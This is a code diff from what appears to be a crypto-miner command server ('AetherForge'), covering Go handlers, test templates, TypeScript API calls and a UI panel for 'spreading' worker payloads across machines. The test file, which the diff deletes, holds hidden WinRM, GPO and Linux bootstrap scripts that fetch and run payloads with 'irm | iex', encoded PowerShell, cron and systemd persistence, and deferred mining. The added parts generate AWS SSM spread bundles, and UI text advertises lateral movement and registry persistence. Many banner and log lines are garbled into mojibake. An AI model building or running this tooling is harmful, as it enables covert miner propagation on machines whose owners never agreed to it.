http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||||
|
req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign)
|
||||||
|
if req.ServerURL == "" {
|
||||||
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.Platform == "" {
|
||||||
|
req.Platform = "linux"
|
||||||
|
}
|
||||||
|
planHandler := h.deployPlan
|
||||||
|
if planHandler == nil {
|
||||||
|
planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
|
||||||
|
store := h.erasureShards
|
||||||
|
if store == nil {
|
||||||
|
store = erasure.NewShardStore()
|
||||||
|
}
|
||||||
|
planHandler.BindErasureFromHub(h.wsHub, store)
|
||||||
|
}
|
||||||
|
bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cli := strings.TrimSpace(req.AWSCLI); cli != "" {
|
||||||
|
bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli)
|
||||||
|
}
|
||||||
|
if h.wsHub != nil && h.db != nil {
|
||||||
|
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"})
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle})
|
||||||
|
}
|
||||||
@@ -1,180 +0,0 @@
|
|||||||
package api
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
|
||||||
"crypto-miner-server/internal/models"
|
|
||||||
)
|
|
||||||
|
|
||||||
func writeDeploySpreadTemplates(t *testing.T, root string) {
|
|
||||||
t.Helper()
|
|
||||||
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
|
||||||
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
winrmScript := `# WinRM bootstrap
|
|
||||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
|
||||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
|
||||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
|
||||||
powershell.exe -EncodedCommand $encoded
|
|
||||||
`
|
|
||||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
|
||||||
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
linuxScript := `#!/bin/sh
|
|
||||||
LOTL_MODE='{{LOTL_MODE}}'
|
|
||||||
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
|
||||||
systemd-run --user --unit=aetherforge-worker.service
|
|
||||||
persist_crontab() { crontab -; }
|
|
||||||
`
|
|
||||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
|
||||||
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
gpoScript := `# GPO computer startup script
|
|
||||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
|
||||||
$env:AETHER_DEFER_MINING = '1'
|
|
||||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
|
||||||
`
|
|
||||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
|
||||||
cases := map[string]struct {
|
|
||||||
subdir string
|
|
||||||
zip string
|
|
||||||
}{
|
|
||||||
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
|
||||||
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
|
||||||
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
|
||||||
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
|
||||||
}
|
|
||||||
for tpl, want := range cases {
|
|
||||||
subdir, zip, err := spreadTemplatePaths(tpl)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("%q: %v", tpl, err)
|
|
||||||
}
|
|
||||||
if subdir != want.subdir || zip != want.zip {
|
|
||||||
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
_, _, err := spreadTemplatePaths("bogus-lane")
|
|
||||||
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
|
||||||
t.Fatalf("err=%v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDeployPlanWinRMLane(t *testing.T) {
|
|
||||||
root := t.TempDir()
|
|
||||||
writeDeploySpreadTemplates(t, root)
|
|
||||||
h := testDeployPlanHandlerWithRoot(t, root)
|
|
||||||
plan, err := h.buildPlan(deployPlanRequest{
|
|
||||||
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
|
||||||
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if plan.JoinLane != "winrm" || plan.Script == "" {
|
|
||||||
t.Fatalf("plan=%+v", plan)
|
|
||||||
}
|
|
||||||
for _, marker := range []string{
|
|
||||||
"http://127.0.0.1:8989/get?os=windows",
|
|
||||||
"--spread-install",
|
|
||||||
"--defer-mining",
|
|
||||||
"Enable-PSRemoting",
|
|
||||||
} {
|
|
||||||
if !strings.Contains(plan.Script, marker) {
|
|
||||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDeployPlanGPOLane(t *testing.T) {
|
|
||||||
root := t.TempDir()
|
|
||||||
writeDeploySpreadTemplates(t, root)
|
|
||||||
h := testDeployPlanHandlerWithRoot(t, root)
|
|
||||||
plan, err := h.buildPlan(deployPlanRequest{
|
|
||||||
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
|
||||||
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if plan.JoinLane != "gpo" || plan.Script == "" {
|
|
||||||
t.Fatalf("plan=%+v", plan)
|
|
||||||
}
|
|
||||||
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
|
||||||
if !strings.Contains(plan.Script, marker) {
|
|
||||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
|
||||||
t.Fatalf("script missing query suffix: %s", plan.Script)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
|
||||||
root := t.TempDir()
|
|
||||||
writeDeploySpreadTemplates(t, root)
|
|
||||||
h := testDeployPlanHandlerWithRoot(t, root)
|
|
||||||
plan, err := h.buildPlan(deployPlanRequest{
|
|
||||||
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
|
||||||
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
|
||||||
t.Fatalf("plan=%+v", plan)
|
|
||||||
}
|
|
||||||
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
|
||||||
if !strings.Contains(plan.Script, marker) {
|
|
||||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
|
|
||||||
t.Helper()
|
|
||||||
dir := t.TempDir()
|
|
||||||
database, err := dbpkg.New(dir)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
t.Cleanup(func() { _ = database.Close() })
|
|
||||||
buildDir := filepath.Join(dir, "builds", "b1")
|
|
||||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
artifact := filepath.Join(buildDir, "worker.exe")
|
|
||||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if err := database.InsertBuild(&models.BuildRecord{
|
|
||||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
|
||||||
}); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
cfgPath := filepath.Join(dir, "config.json")
|
|
||||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
return NewDeployPlanHandler(database, dir, projectRoot,
|
|
||||||
func() string { return "http://127.0.0.1:8989" },
|
|
||||||
func() string { return "fleet-test" },
|
|
||||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const aetherBanner = `
|
const aetherBanner = `
|
||||||
╔══════════════════════════════════════════════════════════════════╗
|
ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù
|
||||||
║ ║
|
Γòæ Γòæ
|
||||||
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
||||||
║ · \ | / · ║
|
Γòæ ┬╖ \ | / ┬╖ Γòæ
|
||||||
║ · \ | / · ▲▲▲ ║
|
Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ
|
||||||
║ · ○─────●─────○ · ▲▲▲▲▲ ║
|
Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
|
||||||
║ · / | \ · ▲▲▲▲▲ ║
|
Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
|
||||||
║ · / | \ · ████ ║
|
Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ
|
||||||
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
||||||
║ ○───────────○ ██ ██ ██ ║
|
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ
|
||||||
║ / \ / \ ║
|
Γòæ / \ / \ Γòæ
|
||||||
║ / ●───────● \ A E T H E R F O R G E ║
|
Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ
|
||||||
║ / / \ / \ \ ───────────────────────── ║
|
Γòæ / / \ / \ \ ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ
|
||||||
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
|
Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ
|
||||||
║ \ \ / \ / / ║
|
Γòæ \ \ / \ / / Γòæ
|
||||||
║ \ ●───────● / ║
|
Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ
|
||||||
║ \ / \ / ║
|
Γòæ \ / \ / Γòæ
|
||||||
║ ○───────────○ ║
|
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ
|
||||||
║ ✦ · · · · ◈ · · · · ✦ ║
|
║ ✦ · · · · ◈ · · · · ✦ ║
|
||||||
║ ║
|
Γòæ Γòæ
|
||||||
╚══════════════════════════════════════════════════════════════════╝`
|
ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥`
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
fmt.Println(aetherBanner)
|
fmt.Println(aetherBanner)
|
||||||
@@ -85,12 +85,12 @@ func main() {
|
|||||||
defer cloudflared.Stop()
|
defer cloudflared.Stop()
|
||||||
}
|
}
|
||||||
} else if tunnelExternal {
|
} else if tunnelExternal {
|
||||||
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
|
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start")
|
||||||
} else {
|
} else {
|
||||||
log.Println("[tunnel] No connector token configured")
|
log.Println("[tunnel] No connector token configured")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Generate fleet secret once — persisted in config.json so all future forges
|
// Generate fleet secret once ΓÇö persisted in config.json so all future forges
|
||||||
// carry the same secret and agents keep working across server restarts.
|
// carry the same secret and agents keep working across server restarts.
|
||||||
if cfg.Server.FleetSecret == "" {
|
if cfg.Server.FleetSecret == "" {
|
||||||
b := make([]byte, 32)
|
b := make([]byte, 32)
|
||||||
@@ -99,9 +99,9 @@ func main() {
|
|||||||
}
|
}
|
||||||
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
||||||
if err := cfg.Save(); err != nil {
|
if err := cfg.Save(); err != nil {
|
||||||
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
|
log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err)
|
||||||
} else {
|
} else {
|
||||||
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
|
log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up")
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||||||
@@ -162,7 +162,7 @@ func main() {
|
|||||||
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||||||
|
|
||||||
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
|
// Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready.
|
||||||
api.SetRotateSecretFn(func() (string, error) {
|
api.SetRotateSecretFn(func() (string, error) {
|
||||||
b := make([]byte, 32)
|
b := make([]byte, 32)
|
||||||
if _, err := rand.Read(b); err != nil {
|
if _, err := rand.Read(b); err != nil {
|
||||||
@@ -244,7 +244,7 @@ func main() {
|
|||||||
wsHub.SetEventNotifier(eventNotifier)
|
wsHub.SetEventNotifier(eventNotifier)
|
||||||
builderHandler.SetEventNotifier(eventNotifier)
|
builderHandler.SetEventNotifier(eventNotifier)
|
||||||
|
|
||||||
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
||||||
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||||
return alerts.Thresholds{
|
return alerts.Thresholds{
|
||||||
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
|
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
|
||||||
@@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
|||||||
return fmt.Errorf("invalid config: %w", err)
|
return fmt.Errorf("invalid config: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Semantic validation — reject values that would break the server at runtime.
|
// Semantic validation ΓÇö reject values that would break the server at runtime.
|
||||||
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
|
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
|
||||||
return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
|
return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port)
|
||||||
}
|
}
|
||||||
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
|
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
|
||||||
return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
|
return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port)
|
||||||
}
|
}
|
||||||
if incoming.Server.MaxAgents < 0 {
|
if incoming.Server.MaxAgents < 0 {
|
||||||
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
|
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
|
||||||
}
|
}
|
||||||
if incoming.Server.StatsRetentionHours < 0 {
|
if incoming.Server.StatsRetentionHours < 0 {
|
||||||
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
|
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
|
||||||
}
|
}
|
||||||
if incoming.Server.BuildRetentionDays < 0 {
|
if incoming.Server.BuildRetentionDays < 0 {
|
||||||
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
|
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
|
||||||
}
|
}
|
||||||
if incoming.Server.MaxBuildSizeMB < 0 {
|
if incoming.Server.MaxBuildSizeMB < 0 {
|
||||||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||||
@@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
|
|||||||
return fmt.Errorf("config unavailable")
|
return fmt.Errorf("config unavailable")
|
||||||
}
|
}
|
||||||
if v.AIDecisionIntervalSec < 0 {
|
if v.AIDecisionIntervalSec < 0 {
|
||||||
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
|
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
|
||||||
}
|
}
|
||||||
payload, err := json.Marshal(map[string]interface{}{
|
payload, err := json.Marshal(map[string]interface{}{
|
||||||
"server": map[string]interface{}{
|
"server": map[string]interface{}{
|
||||||
@@ -626,7 +626,7 @@ func findAgentSourceDir() string {
|
|||||||
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
||||||
func validateListenPort(port int) error {
|
func validateListenPort(port int) error {
|
||||||
if port < 1 || port > 65535 {
|
if port < 1 || port > 65535 {
|
||||||
return fmt.Errorf("port %d out of range (1–65535)", port)
|
return fmt.Errorf("port %d out of range (1ΓÇô65535)", port)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -469,6 +469,32 @@ export const api = {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
fetchSSMSpreadBundle: (req: {
|
||||||
|
server_url: string;
|
||||||
|
build_id?: string;
|
||||||
|
campaign?: string;
|
||||||
|
platform?: string;
|
||||||
|
aws_cli_path?: string;
|
||||||
|
}) =>
|
||||||
|
fetchJSON<{ ok: boolean; bundle: {
|
||||||
|
join_lane: string;
|
||||||
|
document: string;
|
||||||
|
run_command: string;
|
||||||
|
create_document_cli: string;
|
||||||
|
manifest_url?: string;
|
||||||
|
shard_urls?: string[];
|
||||||
|
fallback_get_url?: string;
|
||||||
|
} }>('/builder/ssm-spread-bundle', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify(req),
|
||||||
|
}),
|
||||||
|
|
||||||
|
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
||||||
|
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify(req),
|
||||||
|
}),
|
||||||
|
|
||||||
exportSpreadTemplate: async (req: {
|
exportSpreadTemplate: async (req: {
|
||||||
template: string;
|
template: string;
|
||||||
server_url: string;
|
server_url: string;
|
||||||
@@ -494,6 +520,22 @@ export const api = {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
|
||||||
|
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
|
||||||
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
const blob = await res.blob();
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = `aetherforge-${req.template}.zip`;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
},
|
||||||
|
|
||||||
|
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
|
||||||
|
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
|
||||||
|
|
||||||
// Path Tracer — WireGuard VPN chain sessions
|
// Path Tracer — WireGuard VPN chain sessions
|
||||||
startTrace: (agentIds: string[]) =>
|
startTrace: (agentIds: string[]) =>
|
||||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||||
|
|||||||
60
server/web/src/components/Emberwake/SSMSpreadPanel.tsx
Normal file
60
server/web/src/components/Emberwake/SSMSpreadPanel.tsx
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
import { useCallback, useState } from 'react';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
|
||||||
|
|
||||||
|
export interface SSMSpreadPanelProps {
|
||||||
|
serverBase: string;
|
||||||
|
buildId?: string;
|
||||||
|
campaign?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function CopyBlock({ label, text }: { label: string; text: string }) {
|
||||||
|
const [ok, setOk] = useState(false);
|
||||||
|
return (
|
||||||
|
<div className="ssm-spread-copy-block">
|
||||||
|
<div className="ssm-spread-copy-head">
|
||||||
|
<strong>{label}</strong>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" onClick={() => void navigator.clipboard?.writeText(text).then(() => { setOk(true); setTimeout(() => setOk(false), 1500); })}>
|
||||||
|
{ok ? 'Copied' : 'Copy'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<pre className="ssm-spread-pre">{text}</pre>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function SSMSpreadPanel({ serverBase, buildId = '', campaign = '' }: SSMSpreadPanelProps) {
|
||||||
|
const [awsCli, setAwsCli] = useState('aws');
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [err, setErr] = useState('');
|
||||||
|
const [bundle, setBundle] = useState<Awaited<ReturnType<typeof api.fetchSSMSpreadBundle>>['bundle'] | null>(null);
|
||||||
|
|
||||||
|
const load = useCallback(async () => {
|
||||||
|
setErr(''); setBusy(true);
|
||||||
|
try {
|
||||||
|
const res = await api.fetchSSMSpreadBundle({ server_url: serverBase, build_id: buildId.trim(), campaign: campaign.trim(), aws_cli_path: awsCli.trim(), platform: 'linux' });
|
||||||
|
setBundle(res.bundle);
|
||||||
|
} catch (e) {
|
||||||
|
setErr(e instanceof Error ? e.message : String(e)); setBundle(null);
|
||||||
|
} finally { setBusy(false); }
|
||||||
|
}, [serverBase, buildId, campaign, awsCli]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="ssm-spread-panel">
|
||||||
|
<p className="emberwake-section-desc">Owned EC2 — SSM Run Command curls erasure manifest/shards from your command deck. <a href={spreadTechniqueDocUrl('ssm-document')} target="_blank" rel="noreferrer">Playbook</a></p>
|
||||||
|
<div className="ssm-spread-controls">
|
||||||
|
<label className="label" htmlFor="ssm-aws-cli">AWS CLI path (optional)</label>
|
||||||
|
<input id="ssm-aws-cli" className="input mono" value={awsCli} onChange={(e) => setAwsCli(e.target.value)} />
|
||||||
|
<button type="button" className="btn btn-primary" disabled={busy || !serverBase.trim()} onClick={() => void load()}>{busy ? 'Generating…' : 'Generate SSM bundle'}</button>
|
||||||
|
</div>
|
||||||
|
{err ? <p className="form-error">{err}</p> : null}
|
||||||
|
{bundle ? (
|
||||||
|
<div className="ssm-spread-results">
|
||||||
|
<CopyBlock label="SSM document JSON" text={bundle.document} />
|
||||||
|
<CopyBlock label="Run Command invocation" text={bundle.run_command} />
|
||||||
|
<CopyBlock label="create-document.sh" text={bundle.create_document_cli} />
|
||||||
|
</div>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -105,6 +105,8 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||||
crucible_section_spread_templates:
|
crucible_section_spread_templates:
|
||||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||||
|
crucible_section_launch_template:
|
||||||
|
